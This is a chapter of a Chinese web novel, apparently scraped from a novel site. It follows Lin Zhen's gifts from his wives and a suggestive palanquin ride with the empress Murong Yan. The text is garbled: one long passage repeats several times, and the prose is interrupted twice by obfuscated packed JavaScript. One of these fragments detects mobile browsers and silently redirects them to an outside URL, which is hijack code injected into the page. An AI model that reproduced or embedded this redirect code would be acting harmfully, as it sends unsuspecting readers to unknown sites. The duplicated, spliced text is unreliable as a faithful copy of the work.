浣碧、晴雯在给林臻收拾东西,刘妙颜马上就要进宫去保护司马椿蕾和顾镇,但还是亲手送给林臻一柄宝剑,张俪托人花重金买了匹西凉汗血马,取名叫胜天。林臻试骑了一下,还不错。 月妩自己腌了些烧腊,虽说大部分北方人对这个没什么兴趣,但月妩还是坚持做,她相信林臻会喜欢吃的。 别说,林臻还真挺喜欢吃这玩意,以前吃不到还馋坏了呢。 最最可怕的是,当天下午,楚惜灵从书院那边回来,居然送给林臻一个长条形的方盒。 林臻打开来看,居然是他妈的烟袋锅子!!! 而且还有已经烤好的烟草。 林臻如获至宝啊,在院子里拉着楚惜灵问道:“不是.灵儿,这东西你是怎么做出来的?我考虑了很久,现在炼铜技术根本做不出来这么细的空管烟袋锅子!而且现在是冬天,你怎么找到烟叶的?” 楚惜灵神秘一笑,侧过身指了指自己的脸:“嘻,那你还不奖励奖励人家?” 林臻哪里会客气,当即抱着她狠狠亲了一口。 楚惜灵得意地道:“这很简单,但是以我能力也就能做这一根,所以你珍惜着点哦~要是坏了可没处修补去。” “嗯!我一定好好珍惜!” 没有烟的日子林臻都憋坏了。 这想戒烟和被迫戒烟根本就是两个感觉。 就好像一个人想减肥和吃不上饭被迫挨饿是一个道理。 这时候,妻妾们都从房间里走出来,直接无视掉楚惜灵,推着林臻进屋去试衣服。 不知道的还以为林臻要出远门,几年不回家呢。 其实,慕容嫣的本意就是让林臻跟着走一天而已。 次日清晨,天还未大亮,林臻便已穿戴整齐,早早地等候在皇宫门口。 他一袭紫金色劲装,身姿挺拔如松,腰间佩着一把宝剑,剑柄上的宝石在微光下闪烁着清冷的光芒,整个人散发着一种英气逼人的气息。 不多时,慕容嫣的巨大步辇轿子在四名壮妇的稳稳抬动下,缓缓驶出皇宫大门。 那步辇制作精美绝伦,轿厢以珍贵的紫檀木打造,雕刻着龙凤呈祥的精美图案,金银丝线勾勒出的线条在晨光下熠熠生辉,四周悬挂的锦幔,皆是用上等丝绸织就,绣满了五彩祥云与吉祥花卉,风一吹,轻轻飘动,似天边云霞飘落凡尘。 林臻本想着骑马在前领路,谁知慕容无舌匆匆跑来传话:“世子,陛下有旨,让您也坐上步辇。” 林臻微微一愣:“这么多人不合适吧?” “陛下都不担心,你担心什么?” 说的也是 踏上步辇,轿厢内空间宽大,铺着厚厚的锦褥,足够两人坐卧。 慕容嫣早已端坐在轿厢一侧,她今日还是那身华丽的凤袍,金丝银线绣就的凤凰振翅欲飞;凤袍下摆层层叠叠,随着她的细微动作轻轻摆动,偶尔露出一小截藏在里面的白皙小腿,线条优美,仿若羊脂玉雕琢而成,让人忍不住多看几眼。 她腰间束着一条宽边的锦带,将她纤细的腰肢勾勒得盈盈一握,尽显婀娜。 不知道为什么,可能是身份的原因,慕容嫣总是会给林臻带来一种惊心动魄的感觉。 慕容嫣微微抬起脚,凤靴上的刺绣同样精美,随着她脚尖轻点地面。 慕容嫣见他上来,嘴角轻轻上扬,带着一丝嗔怪,轻声说道:“怎么,莫非世子爷不情愿与朕同乘步辇?” 林臻也玩心大起,忙躬身答道:“微臣不敢,只是陛下乃是女子,这男女有别,又是朗朗乾坤,大庭广众之下” “少来!”慕容嫣翻个白眼,用下巴示意身边的座位:“还不快快坐下。” “哈哈哈哈。”林臻大笑着坐下。 刚一落座,慕容嫣便似不经意地将手搭在了他的手臂上,手指轻轻划过他的肌肤,娇嗔道:“世子爷,这一路,你可要好生陪着朕。” 那指尖传来的温热触感,让林臻的心微微一颤。 别说,林臻还真挺喜欢吃这玩意,以前吃不到还馋坏了呢。 最最可怕的是,当天下午,楚惜灵从书院那边回来,居然送给林臻一个长条形的方盒。 林臻打开来看,居然是他妈的烟袋锅子!!! 而且还有已经烤好的烟草。 林臻如获至宝啊,在院子里拉着楚惜灵问道:“不是.灵儿,这东西你是怎么做出来的?我考虑了很久,现在炼铜技术根本做不出来这么细的空管烟袋锅子!而且现在是冬天,你怎么找到烟叶的?” 楚惜灵神秘一笑,侧过身指了指自己的脸:“嘻,那你还不奖励奖励人家?” 林臻哪里会客气,当即抱着她狠狠亲了一口。 楚惜灵得意地道:“这很简单,但是以我能力也就能做这一根,所以你珍惜着点哦~要是坏了可没处修补去。” “嗯!我一定好好珍惜!” 没有烟的日子林臻都憋坏了。 这想戒烟和被迫戒烟根本就是两个感觉。 就好像一个人想减肥和吃不上饭被迫挨饿是一个道理。 这时候,妻妾们都从房间里走出来,直接无视掉楚惜灵,推着林臻进屋去试衣服。 不知道的还以为林臻要出远门,几年不回家呢。 其实,慕容嫣的本意就是让林臻跟着走一天而已。 次日清晨,天还未大亮,林臻便已穿戴整齐,早早地等候在皇宫门口。 他一袭紫金色劲装,身姿挺拔如松,腰间佩着一把宝剑,剑柄上的宝石在微光下闪烁着清冷的光芒,整个人散发着一种英气逼人的气息。 不多时,慕容嫣的巨大步辇轿子在四名壮妇的稳稳抬动下,缓缓驶出皇宫大门。 那步辇制作精美绝伦,轿厢以珍贵的紫檀木打造,雕刻着龙凤呈祥的精美图案,金银丝线勾勒出的线条在晨光下熠熠生辉,四周悬挂的锦幔,皆是用上等丝绸织就,绣满了五彩祥云与吉祥花卉,风一吹,轻轻飘动,似天边云霞飘落凡尘。 林臻本想着骑马在前领路,谁知慕容无舌匆匆跑来传话:“世子,陛下有旨,让您也坐上步辇。” 林臻微微一愣:“这么多人不合适吧?” “陛下都不担心,你担心什么?” 说的也是 踏上步辇,轿厢内空间宽大,铺着厚厚的锦褥,足够两人坐卧。 慕容嫣早已端坐在轿厢一侧,她今日还是那身华丽的凤袍,金丝银线绣就的凤凰振翅欲飞;凤袍下摆层层叠叠,随着她的细微动作轻轻摆动,偶尔露出一小截藏在里面的白皙小腿,线条优美,仿若羊脂玉雕琢而成,让人忍不住多看几眼。 她腰间束着一条宽边的锦带,将她纤细的腰肢勾勒得盈盈一握,尽显婀娜。 不知道为什么,可能是身份的原因,慕容嫣总是会给林臻带来一种惊心动魄的感觉。 慕容嫣微微抬起脚,凤靴上的刺绣同样精美,随着她脚尖轻点地面。 慕容嫣见他上来,嘴角轻轻上扬,带着一丝嗔怪,轻声说道:“怎么,莫非世子爷不情愿与朕同乘步辇?” 林臻也玩心大起,忙躬身答道:“微臣不敢,只是陛下乃是女子,这男女有别,又是朗朗乾坤,大庭广众之下” “少来!”慕容嫣翻个白眼,用下巴示意身边的座位:“还不快快坐下。” “哈哈哈哈。”林臻大笑着坐下。 刚一落座,慕容嫣便似不经意地将手搭在了他的手臂上,手指轻轻划过他的肌肤,娇嗔道:“世子爷,这一路,你可要好生陪着朕。” 那指尖传来的温热触感,让林臻的心微微一颤。 别说,林臻还真挺喜欢吃这玩意,以前吃不到还馋坏了呢。 最最可怕的是,当天下午,楚惜灵从书院那边回来,居然送给林臻一个长条形的方盒。 林臻打开来看,居然是他妈的烟袋锅子!!! 而且还有已经烤好的烟草。 林臻如获至宝啊,在院子里拉着楚惜灵问道:“不是.灵儿,这东西你是怎么做出来的?我考虑了很久,现在炼铜技术根本做不出来这么细的空管烟袋锅子!而且现在是冬天,你怎么找到烟叶的?” 楚惜灵神秘一笑,侧过身指了指自己的脸:“嘻,那你还不奖励奖励人家?” 林臻哪里会客气,当即抱着她狠狠亲了一口。 楚惜灵得意地道:“这很简单,但是以我能力也就能做这一根,所以你珍惜着点哦~要是坏了可没处修补去。” “嗯!我一定好好珍惜!” 没有烟的日子林臻都憋坏了。 这想戒烟和被迫戒烟根本就是两个感觉。 就好像一个人想减肥和吃不上饭被迫挨饿是一个道理。 这时候,妻妾们都从房间里走出来,直接无视掉楚惜灵,推着林臻进屋去试衣服。 不知道的还以为林臻要出远门,几年不回家呢。 其实,慕容嫣的本意就是让林臻跟着走一天而已。 次日清晨,天还未大亮,林臻便已穿戴整齐,早早地等候在皇宫门口。 他一袭紫金色劲装,身姿挺拔如松,腰间佩着一把宝剑,剑柄上的宝石在微光下闪烁着清冷的光芒,整个人散发着一种英气逼人的气息。 不多时,慕容嫣的巨大步辇轿子在四名壮妇的稳稳抬动下,缓缓驶出皇宫大门。 那步辇制作精美绝伦,轿厢以珍贵的紫檀木打造,雕刻着龙凤呈祥的精美图案,金银丝线勾勒出的线条在晨光下熠熠生辉,四周悬挂的锦幔,皆是用上等丝绸织就,绣满了五彩祥云与吉祥花卉,风一吹,轻轻飘动,似天边云霞飘落凡尘。 林臻本想着骑马在前领路,谁知慕容无舌匆匆跑来传话:“世子,陛下有旨,让您也坐上步辇。” 林臻微微一愣:“这么多人不合适吧?” “陛下都不担心,你担心什么?” 说的也是 踏上步辇,轿厢内空间宽大,铺着厚厚的锦褥,足够两人坐卧。 慕容嫣早已端坐在轿厢一侧,她今日还是那身华丽的凤袍,金丝银线绣就的凤凰振翅欲飞;凤袍下摆层层叠叠,随着她的细微动作轻轻摆动,偶尔露出一小截藏在里面的白皙小腿,线条优美,仿若羊脂玉雕琢而成,让人忍不住多看几眼。 她腰间束着一条宽边的锦带,将她纤细的腰肢勾勒得盈盈一握,尽显婀娜。 不知道为什么,可能是身份的原因,慕容嫣总是会给林臻带来一种惊心动魄的感觉。 慕容嫣微微抬起脚,凤靴上的刺绣同样精美,随着她脚尖轻点地面。 慕容嫣见他上来,嘴角轻轻上扬,带着一丝嗔怪,轻声说道:“怎么,莫非世子爷不情愿与朕同乘步辇?” 林臻也玩心大起,忙躬身答道:“微臣不敢,只是陛下乃是女子,这男女有别,又是朗朗乾坤,大庭广众之下” “少来!”慕容嫣翻个白眼,用下巴示意身边的座位:“还不快快坐下。” “哈哈哈哈。”林臻大笑着坐下。 刚一落座,慕容嫣便似不经意地将手搭在了他的手臂上,手指轻轻划过他的肌肤,娇嗔道:“世子爷,这一路,你可要好生陪着朕。” 那指尖传来的温热触感,让林臻的心微微一颤。 别说,林臻还真挺喜欢吃这玩意,以前吃不到还馋坏了呢。 最最可怕的是,当天下午,楚惜灵从书院那边回来,居然送给林臻一个长条形的方盒。 林臻打开来看,居然是他妈的烟袋锅子!!! 而且还有已经烤好的烟草。 林臻如获至宝啊,在院子里拉着楚惜灵问道:“不是.灵儿,这东西你是怎么做出来的?我考虑了很久,现在炼铜技术根本做不出来这么细的空管烟袋锅子!而且现在是冬天,你怎么找到烟叶的?” 楚惜灵神秘一笑,侧过身指了指自己的脸:“嘻,那你还不奖励奖励人家?” 林臻哪里会客气,当即抱着她狠狠亲了一口。 楚惜灵得意地道:“这很简单,但是以我能力也就能做这一根,所以你珍惜着点哦~要是坏了可没处修补去。” “嗯!我一定好好珍惜!” 没有烟的日子林臻都憋坏了。 这想戒烟和被迫戒烟根本就是两个感觉。 就好像一个人想减肥和吃不上饭被迫挨饿是一个道理。 这时候,妻妾们都从房间里走出来,直接无视掉楚惜灵,推着林臻进屋去试衣服。 不知道的还以为林臻要出远门,几年不回家呢。 其实,慕容嫣的本意就是让林臻跟着走一天而已。 次日清晨,天还未大亮,林臻便已穿戴整齐,早早地等候在皇宫门口。 他一袭紫金色劲装,身姿挺拔如松,腰间佩着一把宝剑,剑柄上的宝石在微光下闪烁着清冷的光芒,整个人散发着一种英气逼人的气息。 不多时,慕容嫣的巨大步辇轿子在四名壮妇的稳稳抬动下,缓缓驶出皇宫大门。 那步辇制作精美绝伦,轿厢以珍贵的紫檀木打造,雕刻着龙凤呈祥的精美图案,金银丝线勾勒出的线条在晨光下熠熠生辉,四周悬挂的锦幔,皆是用上等丝绸织就,绣满了五彩祥云与吉祥花卉,风一吹,轻轻飘动,似天边云霞飘落凡尘。 林臻本想着骑马在前领路,谁知慕容无舌匆匆跑来传话:“世子,陛下有旨,让您也坐上步辇。” 林臻微微一愣:“这么多人不合适吧?” “陛下都不担心,你担心什么?” 说的也是 踏上步辇,轿厢内空间宽大,铺着厚厚的锦褥,足够两人坐卧。 慕容嫣早已端坐在轿厢一侧,她今日还是那身华丽的凤袍,金丝银线绣就的凤凰振翅欲飞;凤袍下摆层层叠叠,随着她的细微动作轻轻摆动,偶尔露出一小截藏在里面的白皙小腿,线条优美,仿若羊脂玉雕琢而成,让人忍不住多看几眼。 她腰间束着一条宽边的锦带,将她纤细的腰肢勾勒得盈盈一握,尽显婀娜。 不知道为什么,可能是身份的原因,慕容嫣总是会给林臻带来一种惊心动魄的感觉。 慕容嫣微微抬起脚,凤靴上的刺绣同样精美,随着她脚尖轻点地面。 慕容嫣见他上来,嘴角轻轻上扬,带着一丝嗔怪,轻声说道:“怎么,莫非世子爷不情愿与朕同乘步辇?” 林臻也玩心大起,忙躬身答道:“微臣不敢,只是陛下乃是女子,这男女有别,又是朗朗乾坤,大庭广众之下” “少来!”慕容嫣翻个白眼,用下巴示意身边的座位:“还不快快坐下。” “哈哈哈哈。”林臻大笑着坐下。 刚一落座,慕容嫣便似不经意地将手搭在了他的手臂上,手指轻轻划过他的肌肤,娇嗔道:“世子爷,这一路,你可要好生陪着朕。” 那指尖传来的温热触感,让林臻的心微微一颤。 别说,林臻还真挺喜欢吃这玩意,以前吃不到还馋坏了呢。 最最可怕的是,当天下午,楚惜灵从书院那边回来,居然送给林臻一个长条形的方盒。 林臻打开来看,居然是他妈的烟袋锅子!!! 而且还有已经烤好的烟草。 林臻如获至宝啊,在院子里拉着楚惜灵问道:“不是.灵儿,这东西你是怎么做出来的?我考虑了很久,现在炼铜技术根本做不出来这么细的空管烟袋锅子!而且现在是冬天,你怎么找到烟叶的?” 楚惜灵神秘一笑,侧过身指了指自己的脸:“嘻,那你还不奖励奖励人家?” 林臻哪里会客气,当即抱着她狠狠亲了一口。 楚惜灵得意地道:“这很简单,但是以我能力也就能做这一根,所以你珍惜着点哦~要是坏了可没处修补去。” “嗯!我一定好好珍惜!” 没有烟的日子林臻都憋坏了。 这想戒烟和被迫戒烟根本就是两个感觉。 就好像一个人想减肥和吃不上饭被迫挨饿是一个道理。 这时候,妻妾们都从房间里走出来,直接无视掉楚惜灵,推着林臻进屋去试衣服。 不知道的还以为林臻要出远门,几年不回家呢。 其实,慕容嫣的本意就是让林臻跟着走一天而已。 次日清晨,天还未大亮,林臻便已穿戴整齐,早早地等候在皇宫门口。 他一袭紫金色劲装,身姿挺拔如松,腰间佩着一把宝剑,剑柄上的宝石在微光下闪烁着清冷的光芒,整个人散发着一种英气逼人的气息。 不多时,慕容嫣的巨大步辇轿子在四名壮妇的稳稳抬动下,缓缓驶出皇宫大门。 那步辇制作精美绝伦,轿厢以珍贵的紫檀木打造,雕刻着龙凤呈祥的精美图案,金银丝线勾勒出的线条在晨光下熠熠生辉,四周悬挂的锦幔,皆是用上等丝绸织就,绣满了五彩祥云与吉祥花卉,风一吹,轻轻飘动,似天边云霞飘落凡尘。 林臻本想着骑马在前领路,谁知慕容无舌匆匆跑来传话:“世子,陛下有旨,让您也坐上步辇。” 林臻微微一愣:“这么多人不合适吧?” “陛下都不担心,你担心什么?” 说的也是 踏上步辇,轿厢内空间宽大,铺着厚厚的锦褥,足够两人坐卧。 慕容嫣早已端坐在轿厢一侧,她今日还是那身华丽的凤袍,金丝银线绣就的凤凰振翅欲飞;凤袍下摆层层叠叠,随着她的细微动作轻轻摆动,偶尔露出一小截藏在里面的白皙小腿,线条优美,仿若羊脂玉雕琢而成,让人忍不住多看几眼。 她腰间束着一条宽边的锦带,将她纤细的腰肢勾勒得盈盈一握,尽显婀娜。 不知道为什么,可能是身份的原因,慕容嫣总是会给林臻带来一种惊心动魄的感觉。 慕容嫣微微抬起脚,凤靴上的刺绣同样精美,随着她脚尖轻点地面。 慕容嫣见他上来,嘴角轻轻上扬,带着一丝嗔怪,轻声说道:“怎么,莫非世子爷不情愿与朕同乘步辇?” 林臻也玩心大起,忙躬身答道:“微臣不敢,只是陛下乃是女子,这男女有别,又是朗朗乾坤,大庭广众之下” “少来!”慕容嫣翻个白眼,用下巴示意身边的座位:“还不快快坐下。” “哈哈哈哈。”林臻大笑着坐下。 刚一落座,慕容嫣便似不经意地将手搭在了他的手臂上,手指轻轻划过他的肌肤,娇嗔道:“世子爷,这一路,你可要好生陪着朕。” 那指尖传来的温热触感,让林臻的心微微一颤。 别说,林臻还真挺喜欢吃这玩意,以前吃不到还馋坏了呢。 最最可怕的是,当天下午,楚惜灵从书院那边回来,居然送给林臻一个长条形的方盒。 林臻打开来看,居然是他妈的烟袋锅子!!! 而且还有已经烤好的烟草。 林臻如获至宝啊,在院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林臻本想着骑马在前领路,谁知慕容无舌匆匆跑来传话:“世子,陛下有旨,让您也坐上步辇。” 林臻微微一愣:“这么多人不合适吧?” “陛下都不担心,你担心什么?” 说的也是 踏上步辇,轿厢内空间宽大,铺着厚厚的锦褥,足够两人坐卧。 慕容嫣早已端坐在轿厢一侧,她今日还是那身华丽的凤袍,金丝银线绣就的凤凰振翅欲飞;凤袍下摆层层叠叠,随着她的细微动作轻轻摆动,偶尔露出一小截藏在里面的白皙小腿,线条优美,仿若羊脂玉雕琢而成,让人忍不住多看几眼。 她腰间束着一条宽边的锦带,将她纤细的腰肢勾勒得盈盈一握,尽显婀娜。 不知道为什么,可能是身份的原因,慕容嫣总是会给林臻带来一种惊心动魄的感觉。 慕容嫣微微抬起脚,凤靴上的刺绣同样精美,随着她脚尖轻点地面。 慕容嫣见他上来,嘴角轻轻上扬,带着一丝嗔怪,轻声说道:“怎么,莫非世子爷不情愿与朕同乘步辇?” 林臻也玩心大起,忙躬身答道:“微臣不敢,只是陛下乃是女子,这男女有别,又是朗朗乾坤,大庭广众之下” “少来!”慕容嫣翻个白眼,用下巴示意身边的座位:“还不快快坐下。” “哈哈哈哈。”林臻大笑着坐下。 刚一落座,慕容嫣便似不经意地将手搭在了他的手臂上,手指轻轻划过他的肌肤,娇嗔道:“世子爷,这一路,你可要好生陪着朕。” 那指尖传来的温热触感,让林臻的心微微一颤。 别说,林臻还真挺喜欢吃这玩意,以前吃不到还馋坏了呢。 最最可怕的是,当天下午,楚惜灵从书院那边回来,居然送给林臻一个长条形的方盒。 林臻打开来看,居然是他妈的烟袋锅子!!! 而且还有已经烤好的烟草。 林臻如获至宝啊,在院子里拉着楚惜灵问道:“不是.灵儿,这东西你是怎么做出来的?我考虑了很久,现在炼铜技术根本做不出来这么细的空管烟袋锅子!而且现在是冬天,你怎么找到烟叶的?” 楚惜灵神秘一笑,侧过身指了指自己的脸:“嘻,那你还不奖励奖励人家?” 林臻哪里会客气,当即抱着她狠狠亲了一口。 楚惜灵得意地道:“这很简单,但是以我能力也就能做这一根,所以你珍惜着点哦~要是坏了可没处修补去。” “嗯!我一定好好珍惜!” 没有烟的日子林臻都憋坏了。 这想戒烟和被迫戒烟根本就是两个感觉。 就好像一个人想减肥和吃不上饭被迫挨饿是一个道理。 这时候,妻妾们都从房间里走出来,直接无视掉楚惜灵,推着林臻进屋去试衣服。 不知道的还以为林臻要出远门,几年不回家呢。 其实,慕容嫣的本意就是让林臻跟着走一天而已。 次日清晨,天还未大亮,林臻便已穿戴整齐,早早地等候在皇宫门口。 他一袭紫金色劲装,身姿挺拔如松,腰间佩着一把宝剑,剑柄上的宝石在微光下闪烁着清冷的光芒,整个人散发着一种英气逼人的气息。 不多时,慕容嫣的巨大步辇轿子在四名壮妇的稳稳抬动下,缓缓驶出皇宫大门。 那步辇制作精美绝伦,轿厢以珍贵的紫檀木打造,雕刻着龙凤呈祥的精美图案,金银丝线勾勒出的线条在晨光下熠熠生辉,四周悬挂的锦幔,皆是用上等丝绸织就,绣满了五彩祥云与吉祥花卉,风一吹,轻轻飘动,似天边云霞飘落凡尘。 林臻本想着骑马在前领路,谁知慕容无舌匆匆跑来传话:“世子,陛下有旨,让您也坐上步辇。” 林臻微微一愣:“这么多人不合适吧?” “陛下都不担心,你担心什么?” 说的也是 踏上步辇,轿厢内空间宽大,铺着厚厚的锦褥,足够两人坐卧。 慕容嫣早已端坐在轿厢一侧,她今日还是那身华丽的凤袍,金丝银线绣就的凤凰振翅欲飞;凤袍下摆层层叠叠,随着她的细微动作轻轻摆动,偶尔露出一小截藏在里面的白皙小腿,线条优美,仿若羊脂玉雕琢而成,让人忍不住多看几眼。 她腰间束着一条宽边的锦带,将她纤细的腰肢勾勒得盈盈一握,尽显婀娜。 不知道为什么,可能是身份的原因,慕容嫣总是会给林臻带来一种惊心动魄的感觉。 慕容嫣微微抬起脚,凤靴上的刺绣同样精美,随着她脚尖轻点地面。 慕容嫣见他上来,嘴角轻轻上扬,带着一丝嗔怪,轻声说道:“怎么,莫非世子爷不情愿与朕同乘步辇?” 林臻也玩心大起,忙躬身答道:“微臣不敢,只是陛下乃是女子,这男女有别,又是朗朗乾坤,大庭广众之下” “少来!”慕容嫣翻个白眼,用下巴示意身边的座位:“还不快快坐下。” “哈哈哈哈。”林臻大笑着坐下。 刚一落座,慕容嫣便似不经意地将手搭在了他的手臂上,手指轻轻划过他的肌肤,娇嗔道:“世子爷,这一路,你可要好生陪着朕。” 那指尖传来的温热触感,让林臻的心微微一颤。 别说,林臻还真挺喜欢吃这玩意,以前吃不到还馋坏了呢。 最最可怕的是,当天下午,楚惜灵从书院那边回来,居然送给林臻一个长条形的方盒。 林臻打开来看,居然是他妈的烟袋锅子!!! 而且还有已经烤好的烟草。 林臻如获至宝啊,在院子里拉着楚惜灵问道:“不是.灵儿,这东西你是怎么做出来的?我考虑了很久,现在炼铜技术根本做不出来这么细的空管烟袋锅子!而且现在是冬天,你怎么找到烟叶的?” 楚惜灵神秘一笑,侧过身指了指自己的脸:“嘻,那你还不奖励奖励人家?” 林臻哪里会客气,当即抱着她狠狠亲了一口。 楚惜灵得意地道:“这很简单,但是以我能力也就能做这一根,所以你珍惜着点哦~要是坏了可没处修补去。” “嗯!我一定好好珍惜!” 没有烟的日子林臻都憋坏了。 这想戒烟和被迫戒烟根本就是两个感觉。 就好像一个人想减肥和吃不上饭被迫挨饿是一个道理。 这时候,妻妾们都从房间里走出来,直接无视掉楚惜灵,推着林臻进屋去试衣服。 不知道的还以为林臻要出远门,几年不回家呢。 其实,慕容嫣的本意就是让林臻跟着走一天而已。 次日清晨,天还未大亮,林臻便已穿戴整齐,早早地等候在皇宫门口。 他一袭紫金色劲装,身姿挺拔如松,腰间佩着一把宝剑,剑柄上的宝石在微光下闪烁着清冷的光芒,整个人散发着一种英气逼人的气息。 不多时,慕容嫣的巨大步辇轿子在四名壮妇的稳稳抬动下,缓缓驶出皇宫大门。 那步辇制作精美绝伦,轿厢以珍贵的紫檀木打造,雕刻着龙凤呈祥的精美图案,金银丝线勾勒出的线条在晨光下熠熠生辉,四周悬挂的锦幔,皆是用上等丝绸织就,绣满了五彩祥云与吉祥花卉,风一吹,轻轻飘动,似天边云霞飘落凡尘。 林臻本想着骑马在前领路,谁知慕容无舌匆匆跑来传话:“世子,陛下有旨,让您也坐上步辇。” 林臻微微一愣:“这么多人不合适吧?” “陛下都不担心,你担心什么?” 说的也是 踏上步辇,轿厢内空间宽大,铺着厚厚的锦褥,足够两人坐卧。 慕容嫣早已端坐在轿厢一侧,她今日还是那身华丽的凤袍,金丝银线绣就的凤凰振翅欲飞;凤袍下摆层层叠叠,随着她的细微动作轻轻摆动,偶尔露出一小截藏在里面的白皙小腿,线条优美,仿若羊脂玉雕琢而成,让人忍不住多看几眼。 她腰间束着一条宽边的锦带,将她纤细的腰肢勾勒得盈盈一握,尽显婀娜。 不知道为什么,可能是身份的原因,慕容嫣总是会给林臻带来一种惊心动魄的感觉。 慕容嫣微微抬起脚,凤靴上的刺绣同样精美,随着她脚尖轻点地面。 慕容嫣见他上来,嘴角轻轻上扬,带着一丝嗔怪,轻声说道:“怎么,莫非世子爷不情愿与朕同乘步辇?” 林臻也玩心大起,忙躬身答道:“微臣不敢,只是陛下乃是女子,这男女有别,又是朗朗乾坤,大庭广众之下” “少来!”慕容嫣翻个白眼,用下巴示意身边的座位:“还不快快坐下。” “哈哈哈哈。”林臻大笑着坐下。 刚一落座,慕容嫣便似不经意地将手搭在了他的手臂上,手指轻轻划过他的肌肤,娇嗔道:“世子爷,这一路,你可要好生陪着朕。” 那指尖传来的温热触感,让林臻的心微微一颤。 第365章 陛下可受用? 林臻心里清楚,自己即将要娶上官婉儿,没娶她。 她吃醋了。 亏她还穿着庄重的凤袍,一副君临天下的模样。 果然,不管是什么身份地位,只要是女人,就都会小心眼。 这种情况该怎么办呢?当然是哄啊。 这种哄可不是舔狗行为,而是为了自己今后的幸福。 说不定自己就能把慕容嫣也忽悠到大被同眠的境界呢? 二人并肩而坐,厢内弥漫着淡淡的龙涎香气息。 随着步辇缓缓启动,林臻和慕容嫣的肩膀不经意间轻轻相碰,每一次触碰都似一道电流,让人心尖发颤。 好刺激哦。 如果能在这里和女帝玩点小游戏,岂不爽歪歪? 林臻转过头去,欣赏着慕容嫣的侧颜,晨光透过珠帘洒在她脸上,为她镀上一层圣洁的光晕,那肌肤细腻得仿若吹弹可破,高挺的鼻梁线条柔美,圆润的嘴巴仿若春日里娇艳欲滴的樱桃,即便品尝了无数次也让林臻忍不住想要一亲芳泽。 鬼使神差般,林臻轻轻握住了慕容嫣的手。 入手的瞬间,只觉那手柔弱无骨,纤细修长的手指如春笋般娇嫩,指甲粉嫩,修剪得整整齐齐,没有一丝污垢,宛如一件稀世珍宝。 林臻像是着了魔,就那样盯着她的手,目光中满是痴迷。 慕容嫣感受到手中的温热,转头看向林臻。 见他这般模样,有些好笑地嗔道:“都看过那么多次了,有什么好看的。” 话语虽带着几分娇嗔,可眼神里却透着宠溺。 林臻回过神来,嘴角上扬,眼神炽热:“陛下这手如此美丽,微臣便是看一辈子,也觉不够。” 慕容嫣白了他一眼:“一口一个微臣,可你现在做的事情,是臣子应该做的吗?” “微臣难道不该欣赏陛下的美丽吗?” “欣赏就欣赏,谁允许你动手动脚的?快快松开,让人看见成什么样子。” “微臣斗胆,要再欣赏欣赏,即便陛下要杀头,臣也认了。” 林臻刻意说“微臣”、“陛下”这样的词语。 因为说起来很有感觉,就像是在亵渎! 没错,就是亵渎。 这是一种另类的快感,让人心跳加速。 慕容嫣似是对林臻的痴迷无奈,却也没有抽回手,就任由他这般欣赏。 林臻心中一动,突然拉起她的手放到嘴边,轻轻一吻。 慕容嫣脸颊微红,心里也觉得刺 激万分,眼眸流转间波光潋滟,像是要滴出水来。 “淘气! “陛下才淘气,光天化日的就敢让微臣上步辇,看来你我之间的秘密恐怕要藏不住了。 “藏不住就藏不住,有你在,谁敢多嘴多舌的? “说的也是。 “嘻嘻,夫君呀 慕容嫣想说些什么,却见林臻伸手堵住她的嘴,打断道:“叫我爱卿。 “变态!又是父亲又是爱卿的,你到底要干什么! “你不就喜欢变态嘛? “啊呀你讨厌死啦!慕容嫣娇嗔一声,反抓住林臻的手,递到嘴边作势要咬。 林臻没有躲。 慕容嫣却也没真正的去咬,而是也印上一吻。 随即与林臻相视一笑,满满的心照不宣。 一时之间,轿厢内暧昧的气息愈发浓郁,好像置身在花丛中,甜腻得让人沉醉。 林臻心中涌起一股冲动,他轻轻伸手,将慕容嫣凤袍下的一条腿抱了起来,缓缓放到自己腿上。 慕容嫣大惊:“干什么! “陛下,这个姿势舒服么? 慕容嫣脸蛋红扑扑的,微微感受了下,便点点头,声如蚊呐:“嗯,这个姿势确实受用。 反差啊! 男人最喜欢的不就是反差嘛! 此时此刻,慕容嫣那娇羞的模样与平日里朝堂上威严的女帝判若两人。 林臻嘴角勾起一抹坏笑,手指隔着布料在她的凤袍上轻轻划过,随后微微弯腰抓住裙摆下面的脚踝,再顺着洁白的亵裤继续向上摸索,直到膝盖,再缓缓向下,穿过一层一层的布料,最后掌心与小腿的肌肤相碰。 慕容嫣浑身一颤,只觉一股电流从腿部瞬间传遍全身,让她娇躯发软。 她慌乱地连忙把头撇向一边,不敢直视林臻那炽热的目光,手却下意识地抓紧了林臻的衣袖,贝齿咬住下唇,长长的睫毛扑闪着,杏眼迷离。 此时,步辇外传来整齐的脚步声和轻微的铠甲碰撞声,透过珠帘望去,只见浩浩荡荡的队伍已经徐徐走向城门。 阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184924|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光洒在队伍上,映照着皇家旗帜,威风凛凛。 队伍两旁,百姓们早已跪地叩首,口中高呼“万岁 慕容嫣努力转移着自己的注意力,可林臻的手就像有魔力那般,一直勾着她的心魂。 突然,林臻说道:“慕容嫣接旨。 “啊臣妾接旨。 “大胆!还不跪下!” 慕容嫣回过头,见林臻一副正儿八经的样子,连忙把腿拿下来,起身跪在林臻面前。 “朕命你抬起头来。” 慕容嫣抬起那精致的脸蛋,渴求、慕强的样子不言而喻。 林臻单手捏住她的下巴,坏笑着说:“Lookinmyeyes!Biteme!” “臣妾接旨。” “告诉你几次了,不许叫夫君!要叫爱卿!” “爱卿。” “乖,陛下好生美丽。” 扛着步辇的四位东北雨姐都懵了。 陛下这是干什么呢? 这怎么还一晃一晃的? 诶诶诶,偏了偏了,陛下能不能别晃了啊! 老娘肩膀都要磨出血了! 林臻没有刻意捉弄慕容嫣,半个时辰便结束了,但是慕容嫣却坐在林臻腿上不下来,伸手抚摸着他的胸口。 